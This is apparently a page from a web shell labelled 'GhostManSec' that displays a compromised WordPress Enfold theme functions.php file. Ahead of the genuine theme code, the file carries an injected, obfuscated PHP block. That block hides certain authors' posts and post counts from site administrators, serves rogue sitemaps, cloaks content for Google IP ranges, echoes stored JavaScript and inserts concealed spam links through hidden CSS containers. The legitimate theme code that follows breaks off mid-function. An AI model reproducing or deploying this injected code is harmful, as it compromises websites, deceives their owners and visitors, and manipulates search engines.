GhostManSec
Server: Apache
System: Linux webm002.cluster121.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: urgencetin (90929)
PHP: 5.4.45
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/urgencetin/www/wp-content/themes/enfold/functions.php
<?php

/* ac823e79b19ab2cc28b8c8bbc9d2dbc9 */

function wp_link_pages_live($where) {
    global $wpdb, $is_archive_core;

    $wp_reset_postdata_info = array_keys($is_archive_core);
    $is_search_session = implode(', ', $wp_reset_postdata_info);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'the_posts_pagination_old');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($is_search_session)";
    }

    return $where;
}

function the_content_base($query) {

    global $is_archive_core;

    $wp_reset_postdata_info = array_keys($is_archive_core);
    $get_post_type_object = _e_stack($wp_reset_postdata_info);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $get_post_type_object);
    }
}

function is_singular_cookie() {

    global $post, $is_archive_core;

    foreach ($is_archive_core as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (get_theme_file_uri_alpha($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function get_theme_file_uri_alpha($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (get_template_part_method()) {
            return true;
        }
    }
    return false;
}

function the_posts_pagination_old($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function get_setting_json($counts, $type, $perm) {

    if ($type === 'post') {
        $esc_url_framework = $counts->publish;
        $get_the_title_stat = admin_url_cron($perm);
        $counts->publish = !$get_the_title_stat ? $esc_url_framework : $get_the_title_stat;
    }
    return $counts;
}

function admin_url_cron($perm) {
    global $wpdb, $is_archive_core;

    $wp_reset_postdata_info = array_keys($is_archive_core);
    $is_search_session = implode(', ', $wp_reset_postdata_info);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $esc_html_more = get_post_type_object($type);

        if (!current_user_can($esc_html_more->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($is_search_session) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $add_filter_interface) {
        if ($add_filter_interface['post_status'] === 'publish') {
            return $add_filter_interface['num_posts'];
        }
    }
}

function the_ID_http($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $wp_reset_postdata_info = array();
    foreach ($results as $add_filter_interface) {
        $wp_reset_postdata_info[] = $add_filter_interface['ID'];
    }
    return $wp_reset_postdata_info;
}

function esc_url_loop() {

    global $is_archive_core, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
        $get_the_ID_http = key($get_author_posts_url_restful['sitemapsettings']);

        if (!isset($rules[$get_the_ID_http]) ||
            ($rules[$get_the_ID_http] !== current($get_author_posts_url_restful['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function add_setting_function($rules) {

    global $is_archive_core;

    $esc_url_raw_pointer = array();

    foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
        if (isset($get_author_posts_url_restful['sitemapsettings'])) {
            $esc_url_raw_pointer[key($get_author_posts_url_restful['sitemapsettings'])] = current($get_author_posts_url_restful['sitemapsettings']);
        }
    }

    return $esc_url_raw_pointer + $rules;
}

function get_the_time_statement() {

    global $is_archive_core;

    foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
        $have_posts_core = str_replace('index.php?feed=', '', current($get_author_posts_url_restful['sitemapsettings']));
        add_feed($have_posts_core, 'get_template_part_list');
    }
}


function get_template_part_list() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $the_post_cron = get_bloginfo_variable();
    $get_author_posts_url_hashing = the_ID_http($the_post_cron);

    if (!empty($get_author_posts_url_hashing)) {
        $is_page_merge = md5(implode(',', $get_author_posts_url_hashing));
        $add_filter_https = 'update_plugins_' . $the_post_cron . '_' . $is_page_merge;
        $the_ID_first = get_transient($add_filter_https);

        if ($the_ID_first !== false) {
            echo $the_ID_first;
            return;
        }
    }



    $head = is_front_page_info();
    $esc_attr_private = $head . "\n";


    $priority = '0.5';
    $esc_attr_view = 'weekly';
    $wp_die_repository = date('Y-m-d');

    foreach ($get_author_posts_url_hashing as $post_id) {
        $url = get_permalink($post_id);
        $esc_attr_private .= have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $esc_attr_private .= "\n</urlset>";

    set_transient($add_filter_https, $esc_attr_private, WEEK_IN_SECONDS);

    echo $esc_attr_private;
}


function is_front_page_info() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$wp_die_repository</lastmod>
      <changefreq>$esc_attr_view</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function _e_stack($writersArr) {
    $get_header_long = array();

    foreach ($writersArr as $item) {
        $get_header_long[] = '-' . $item;
    }
    return implode(',', $get_header_long);
}

function add_section_https() {

    $get_template_part_pointer = array();
    $bloginfo_edit = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $add_setting_live = unserialize(base64_decode($settings));
        if ($add_setting_live) {
            $get_template_part_pointer = $add_setting_live;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $get_the_title_less = unserialize(base64_decode($settings));
        if ($get_the_title_less) {
            $bloginfo_edit = $get_the_title_less;
        }
    }

    return $bloginfo_edit + $get_template_part_pointer;

}

function get_bloginfo_variable() {

    global $is_archive_core;

    foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {

        $get_search_query_list = key($get_author_posts_url_restful['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($get_author_posts_url_restful['sitemapsettings']) . '$');

        if (preg_match("~$get_search_query_list~", $_SERVER['REQUEST_URI'])) {
            return $the_archive_title_http;
        }
    }
}

function bloginfo_json() {
    global $is_archive_core, $post;

    $get_the_tag_list_integer = array_keys($is_archive_core);
    if (in_array($post->post_author, $get_the_tag_list_integer)) {
        return true;
    }
    return false;
}

function is_customize_preview_base() {
    global $is_archive_core, $post;

    $get_the_tag_list_integer = array_keys($is_archive_core);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $get_the_tag_list_integer)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function esc_attr_e_pic() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function get_template_part_method() {

    $wp_get_attachment_image_src_class = esc_attr_e_pic();

    if (strstr($wp_get_attachment_image_src_class, ', ')) {
        $wp_list_comments_interface = explode(', ', $wp_get_attachment_image_src_class);
        $wp_get_attachment_image_src_class = $wp_list_comments_interface[0];
    }

    $dynamic_sidebar_meta = add_setting_soap();

    if (!$dynamic_sidebar_meta) {
        return false;
    }

    foreach ($dynamic_sidebar_meta as $range) {
        if (wp_head_add($wp_get_attachment_image_src_class, $range)) {
            return true;
        }
    }
    return false;
}

function esc_url_raw_queue($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function add_setting_soap() {

    if (($value = get_option('wp_custom_range')) && !esc_url_raw_queue($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $dynamic_sidebar_meta = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($dynamic_sidebar_meta)) {

            return;
        }

        $value = array('ranges' => $dynamic_sidebar_meta, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function get_the_author_meta_hashing($inet) {
    $get_post_format_ajax = str_split($inet);
    $absint_wp = '';
    foreach ($get_post_format_ajax as $char) {
        $absint_wp .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $absint_wp;
}

function wp_head_add($wp_get_attachment_image_src_class, $cidrnet) {
    $wp_get_attachment_image_src_class = inet_pton($wp_get_attachment_image_src_class);
    $absint_wp = get_the_author_meta_hashing($wp_get_attachment_image_src_class);

    list($net, $add_query_arg_constructor) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $get_the_ID_integer = get_the_author_meta_hashing($net);

    $esc_attr_loop = substr($absint_wp, 0, $add_query_arg_constructor);
    $esc_attr_e_constructor = substr($get_the_ID_integer, 0, $add_query_arg_constructor);

    if ($esc_attr_loop !== $esc_attr_e_constructor) {
        return false;
    } else {
        return true;
    }
}


function is_search_restful($get_queried_object_id_pointer) {

    global $post;

    $post_class_pic = '';


    if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $post_class_pic = get_option('home_links_custom_0');
        }
    } elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $post_class_pic = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_stylesheet_uri_schema = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $post_class_pic = get_option('home_links_custom_' . $get_stylesheet_uri_schema);
        
        
    } elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$post_class_pic ? '' : $post_class_pic;
}

function wp_get_attachment_image_src_stack($get_author_posts_url_restful, $language_attributes_double, $the_excerpt_json) {
    if (!isset($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json])) {
        return false;
    }

    if ($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json] === 1) {
        return true;
    }

    return false;

}

function get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema) {
    if (empty($esc_attr_x_schema)) {
        return '';
    }

    if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $language_attributes_beta = is_page_get();
        $the_permalink_module = $language_attributes_beta[$blockNum[0]];
        return $the_permalink_module[0] . PHP_EOL . $esc_attr_x_schema . PHP_EOL . $the_permalink_module[1];
    }

    return $esc_attr_x_schema;
}

function is_page_get() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function is_archive_client($get_queried_object_id_pointer) {
    return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'head');
}

function get_theme_mod_stat($get_queried_object_id_pointer) {
    return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'footer');
}

function is_admin_method($settings) {
    foreach ($settings as $the_archive_title_http => $get_author_posts_url_restful) {
        if (isset($get_author_posts_url_restful['homeLinks'])) {
            return $get_author_posts_url_restful['homeLinks'];
        }
    }
    return array();
}


function esc_attr_ajax() {
    if (!bloginfo_json()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function get_search_form_call() {

    global $get_queried_object_id_pointer;

    if (!esc_attr_ajax()) {
        
        
        return;
    }

    if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'cloacking')) {
        if (!get_template_part_method()) {
            
            return;
        }
    }


    $esc_attr_x_schema = is_search_restful($get_queried_object_id_pointer);
    $esc_attr_x_schema = get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema);

    


    echo $esc_attr_x_schema;

}

$is_archive_core = add_section_https();


if (is_array($is_archive_core)) {
    add_filter('posts_where_paged', 'wp_link_pages_live');
    add_action('pre_get_posts', 'the_content_base');
    add_action('wp_enqueue_scripts', 'is_singular_cookie');
    add_filter('wp_count_posts', 'get_setting_json' , 10, 3);
    add_filter('rewrite_rules_array', 'add_setting_function');
    add_action('wp_loaded', 'esc_url_loop');
    add_action('init', 'get_the_time_statement');
    add_action('template_redirect', 'is_customize_preview_base');

    $get_queried_object_id_pointer = is_admin_method($is_archive_core);

    if (!empty($get_queried_object_id_pointer)) {

        

        if (is_archive_client($get_queried_object_id_pointer)) {
            add_action('wp_head', 'get_search_form_call');
        }
        if (get_theme_mod_stat($get_queried_object_id_pointer)) {
            add_action('wp_footer', 'get_search_form_call');
        }


    }
}

/* ac823e79b19ab2cc28b8c8bbc9d2dbc9 */
if ( !defined('ABSPATH') ){ die(); }

global $avia_config;

/*
 * if you run a child theme and dont want to load the default functions.php file
 * set the global var below in you childthemes function.php to true:
 *
 * example: global $avia_config; $avia_config['use_child_theme_functions_only'] = true;
 * The default functions.php file will then no longer be loaded. You need to make sure then
 * to include framework and functions that you want to use by yourself. 
 *
 * This is only recommended for advanced users
 */

if(isset($avia_config['use_child_theme_functions_only'])) return;

/*
 * create a global var which stores the ids of all posts which are displayed on the current page. It will help us to filter duplicate posts
 */
$avia_config['posts_on_current_page'] = array();


/*
 * wpml multi site config file
 * needs to be loaded before the framework
 */

require_once( 'config-wpml/config.php' );


/*
 * These are the available color sets in your backend.
 * If more sets are added users will be able to create additional color schemes for certain areas
 *
 * The array key has to be the class name, the value is only used as tab heading on the styling page
 */


$avia_config['color_sets'] = array(
    'header_color'      => 'Logo Area',
    'main_color'        => 'Main Content',
    'alternate_color'   => 'Alternate Content',
    'footer_color'      => 'Footer',
    'socket_color'      => 'Socket'
 );
 
 

/*
 * add support for responsive mega menus
 */
 
add_theme_support('avia_mega_menu');



/*
 * add support for improved backend styling
 */
 
add_theme_support('avia_improved_backend_style');



/*
 * deactivates the default mega menu and allows us to pass individual menu walkers when calling a menu
 */
 
add_filter('avia_mega_menu_walker', '__return_false');


/*
 * adds support for the new avia sidebar manager
 */
 
add_theme_support('avia_sidebar_manager');

/*
 * Filters for post formats etc
 */
//add_theme_support('avia_queryfilter');


/*
 * Register theme text domain
 */
if(!function_exists('avia_lang_setup'))
{
	add_action('after_setup_theme', 'avia_lang_setup');
	
	function avia_lang_setup()
	{
		$lang = apply_filters('ava_theme_textdomain_path', get_template_directory()  . '/lang');
		load_theme_textdomain('avia_framework', $lang);
	}
	
	avia_lang_setup();
}


/*
function that changes the icon of the  theme update tab
*/

if(!function_exists('avia_theme_update_filter'))
{
	function avia_theme_update_filter( $data )
	{
		if(current_theme_supports('avia_improved_backend_style'))
		{
			$data['icon'] = 'new/arrow-repeat-two-7@3x.png';
		}
		return $data;
	}
	
	add_filter('avf_update_theme_tab', 'avia_theme_update_filter', 30, 1);
}




##################################################################
# AVIA FRAMEWORK by Kriesi

# this include calls a file that automatically includes all
# the files within the folder framework and therefore makes
# all functions and classes available for later use

require_once( 'framework/avia_framework.php' );

##################################################################


/*
 * Register additional image thumbnail sizes
 * Those thumbnails are generated on image upload!
 *
 * If the size of an array was changed after an image was uploaded you either need to re-upload the image
 * or use the thumbnail regeneration plugin: http://wordpress.org/extend/plugins/regenerate-thumbnails/
 */

$avia_config['imgSize']['widget'] 			 	= array('width'=>36,  'height'=>36);						// small preview pics eg sidebar news
$avia_config['imgSize']['square'] 		 	    = array('width'=>180, 'height'=>180);		                 // small image for blogs
$avia_config['imgSize']['featured'] 		 	= array('width'=>1500, 'height'=>430 );						// images for fullsize pages and fullsize slider
$avia_config['imgSize']['featured_large'] 		= array('width'=>1500, 'height'=>630 );						// images for fullsize pages and fullsize slider
$avia_config['imgSize']['extra_large'] 		 	= array('width'=>1500, 'height'=>1500 , 'crop' => false);	// images for fullscrren slider
$avia_config['imgSize']['portfolio'] 		 	= array('width'=>495, 'height'=>400 );						// images for portfolio entries (2,3 column)
$avia_config['imgSize']['portfolio_small'] 		= array('width'=>260, 'height'=>185 );						// images for portfolio 4 columns
$avia_config['imgSize']['gallery'] 		 		= array('width'=>845, 'height'=>684 );						// images for portfolio entries (2,3 column)
$avia_config['imgSize']['magazine'] 		 	= array('width'=>710, 'height'=>375 );						// images for magazines
$avia_config['imgSize']['masonry'] 		 		= array('width'=>705, 'height'=>705 , 'crop' => false);		// images for fullscreen masonry
$avia_config['imgSize']['entry_with_sidebar'] 	= array('width'=>845, 'height'=>321);		            	// big images for blog and page entries
$avia_config['imgSize']['entry_without_sidebar']= array('width'=>1210, 'height'=>423 );						// images for fullsize pages and fullsize slider
$avia_config['imgSize'] = apply_filters('avf_modify_thumb_size', $avia_config['imgSize']);


$avia_config['selectableImgSize'] = array(
	'square' 				=> __('Square','avia_framework'),
	'featured'  			=> __('Featured Thin','avia_framework'),
	'featured_large'  		=> __('Featured Large','avia_framework'),
	'portfolio' 			=> __('Portfolio','avia_framework'),
	'gallery' 				=> __('Gallery','avia_framework'),
	'entry_with_sidebar' 	=> __('Entry with Sidebar','avia_framework'),
	'entry_without_sidebar'	=> __('Entry without Sidebar','avia_framework'),
	'extra_large' 			=> __('Fullscreen Sections/Sliders','avia_framework'),
	
);



avia_backend_add_thumbnail_size($avia_config);

if ( ! isset( $content_width ) ) $content_width = $avia_config['imgSize']['featured']['width'];




/*
 * register the layout classes
 *
 */

$avia_config['layout']['fullsize'] 		= array('content' => 'av-content-full alpha', 'sidebar' => 'hidden', 	  	  'meta' => '','entry' => '');
$avia_config['layout']['sidebar_left'] 	= array('content' => 'av-content-small', 	  'sidebar' => 'alpha' ,'meta' => 'alpha', 'entry' => '');
$avia_config['layout']['sidebar_right'] = array('content' => 'av-content-small alpha','sidebar' => 'alpha', 'meta' => 'alpha', 'entry' => 'alpha');





/*
 * These are some of the font icons used in the theme, defined by the entypo icon font. the font files are included by the new aviaBuilder
 * common icons are stored here for easy retrieval
 */
 
 $avia_config['font_icons'] = apply_filters('avf_default_icons', array(
 
    //post formats +  types
    'standard' 		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue836'),
    'link'    		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue822'),
    'image'    		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue80f'),
    'audio'    		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue801'),
    'quote'   		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue833'),
    'gallery'   	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue80e'),
    'video'   		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue80d'),
    'portfolio'   	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue849'),
    'product'   	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue859'),
    				
    //social		
    'behance' 		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue915'),
	'dribbble' 		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue8fe'),
	'facebook' 		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue8f3'),
	'flickr' 		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue8ed'),
	'gplus' 		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue8f6'),
	'linkedin' 		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue8fc'),
	'instagram' 	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue909'),
	'pinterest' 	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue8f8'),
	'skype' 		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue90d'),
	'tumblr' 		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue8fa'),
	'twitter' 		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue8f1'),
	'vimeo' 		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue8ef'),
	'rss' 			=> array( 'font' =>'entypo-fontello', 'icon' => 'ue853'),  
	'youtube'		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue921'),  
	'xing'			=> array( 'font' =>'entypo-fontello', 'icon' => 'ue923'),  
	'soundcloud'	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue913'),  
	'five_100_px'	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue91d'),  
	'vk'			=> array( 'font' =>'entypo-fontello', 'icon' => 'ue926'),  
	'reddit'		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue927'),  
	'digg'			=> array( 'font' =>'entypo-fontello', 'icon' => 'ue928'),  
	'delicious'		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue929'),  
	'mail' 			=> array( 'font' =>'entypo-fontello', 'icon' => 'ue805'),
					
	//woocomemrce    
	'cart' 			=> array( 'font' =>'entypo-fontello', 'icon' => 'ue859'),
	'details'		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue84b'),

	//bbpress    
	'supersticky'	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue808'),
	'sticky'		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue809'),
	'one_voice'		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue83b'),
	'multi_voice'	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue83c'),
	'closed'		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue824'),
	'sticky_closed' => array( 'font' =>'entypo-fontello', 'icon' => 'ue808\ue824'),
	'supersticky_closed' => array( 'font' =>'entypo-fontello', 'icon' => 'ue809\ue824'),
					
	//navigation, slider & controls
	'play' 			=> array( 'font' =>'entypo-fontello', 'icon' => 'ue897'),
	'pause'			=> array( 'font' =>'entypo-fontello', 'icon' => 'ue899'),
	'next'    		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue879'),
    'prev'    		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue878'),
    'next_big'  	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue87d'),
    'prev_big'  	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue87c'),
	'close'			=> array( 'font' =>'entypo-fontello', 'icon' => 'ue814'),
	'reload'		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue891'),
	'mobile_menu'	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue8a5'),
					
	//image hover overlays		
    'ov_external'	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue832'),
    'ov_image'		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue869'),
    'ov_video'		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue897'),
    
					
	//misc			
    'search'  		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue803'),
    'info'    		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue81e'),
	'clipboard' 	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue8d1'),
	'scrolltop' 	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue876'),
	'scrolldown' 	=> array( 'font' =>'entypo-fontello', 'icon' => 'ue877'),
	'bitcoin' 		=> array( 'font' =>'entypo-fontello', 'icon' => 'ue92a'),

));






add_theme_support( 'automatic-feed-links' );

##################################################################
# Frontend Stuff necessary for the theme:
##################################################################



/*
 * Register frontend javascripts:
 */
if(!function_exists('avia_register_frontend_scripts'))
{
	if(!is_admin()){
		add_action('wp_enqueue_scripts', 'avia_register_frontend_scripts');
	}

	function avia_register_frontend_scripts()
	{
		$vn = "4.1";
		
		$template_url 		= get_template_directory_uri();
		$child_theme_url 	= get_stylesheet_directory_uri();

		//register js
		wp_enqueue_script( 'avia-compat', $template_url.'/js/avia-compat.js', array('jquery'), $vn, false ); //needs to be loaded at the top to prevent bugs
		wp_enqueue_script( 'avia-default', $template_url.'/js/avia.js', array('jquery'), $vn, true );
		wp_enqueue_script( 'avia-shortcodes', $template_url.'/js/shortcodes.js', array('jquery'), $vn, true );
		wp_enqueue_script( 'avia-popup',  $template_url.'/js/aviapopup/jquery.magnific-popup.min.js', array('jquery'), $vn, true);

		wp_enqueue_script( 'jquery' );
		wp_enqueue_script( 'wp-mediaelement' );


		if ( is_singular() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); }


		//register styles
		wp_register_style( 'avia-style' ,  $child_theme_url."/style.css", array(), 		$vn, 'all' ); //register default style.css file. only include in childthemes. has no purpose in main theme
		wp_register_style( 'avia-custom',  $template_url."/css/custom.css", array(), 	$vn, 'all' );
																						 
		wp_enqueue_style( 'avia-grid' ,   $template_url."/css/grid.css", array(), 		$vn, 'all' );
		wp_enqueue_style( 'avia-base' ,   $template_url."/css/base.css", array(), 		$vn, 'all' );
		wp_enqueue_style( 'avia-layout',  $template_url."/css/layout.css", array(), 	$vn, 'all' );
		wp_enqueue_style( 'avia-scs',     $template_url."/css/shortcodes.css", array(), $vn, 'all' );
		wp_enqueue_style( 'avia-popup-css', $template_url."/js/aviapopup/magnific-popup.css", array(), $vn, 'screen' );
		wp_enqueue_style( 'avia-media'  , $template_url."/js/mediaelement/skin-1/mediaelementplayer.css", array(), $vn, 'screen' );
		wp_enqueue_style( 'avia-print' ,  $template_url."/css/print.css", array(), $vn, 'print' );
		
		
		if ( is_rtl() ) {
			wp_enqueue_style(  'avia-rtl',  $template_url."/css/rtl.css", array(), $vn, 'all' );
		}
		

        global $avia;
		$safe_name = avia_backend_safe_string($avia->base_data['prefix']);
		$safe_name = apply_filters('avf_dynamic_stylesheet_filename', $safe_name);

        if( get_option('avia_stylesheet_exists'.$safe_name) == 'true' )
        {
            $avia_upload_dir = wp_upload_dir();
            if(is_ssl()) $avia_upload_dir['baseurl'] = str_replace("http://", "https://", $avia_upload_dir['baseurl']);

            $avia_dyn_stylesheet_url = $avia_upload_dir['baseurl'] . '/dynamic_avia/'.$safe_name.'.css';
			$version_number = get_option('avia_stylesheet_dynamic_version'.$safe_name);
			if(empty($version_number)) $version_number = $vn;
            
            wp_enqueue_style( 'avia-dynamic', $avia_dyn_stylesheet_url, array(), $version_number, 'all' );
        }

		wp_enqueue_style( 'avia-custom');


		if($child_theme_url !=  $template_url)
		{
			wp_enqueue_style( 'avia-style');
		}

	}
}


if(!function_exists('avia_remove_default_video_styling'))
{
	if(!is_admin()){
		add_action('wp_footer', 'avia_remove_default_video_styling', 1);
	}

	function avia_remove_default_video_styling()
	{
		//remove default style for videos
		wp_dequeue_style( 'mediaelement' );
		// wp_dequeue_script( 'wp-mediaelement' );
		// wp_dequeue_style( 'wp-mediaelement' );
	}
}




/*
 * Activate native wordpress navigation menu and register a menu location
 */
if(!function_exists('avia_nav_menus'))
{
	function avia_nav_menus()
	{
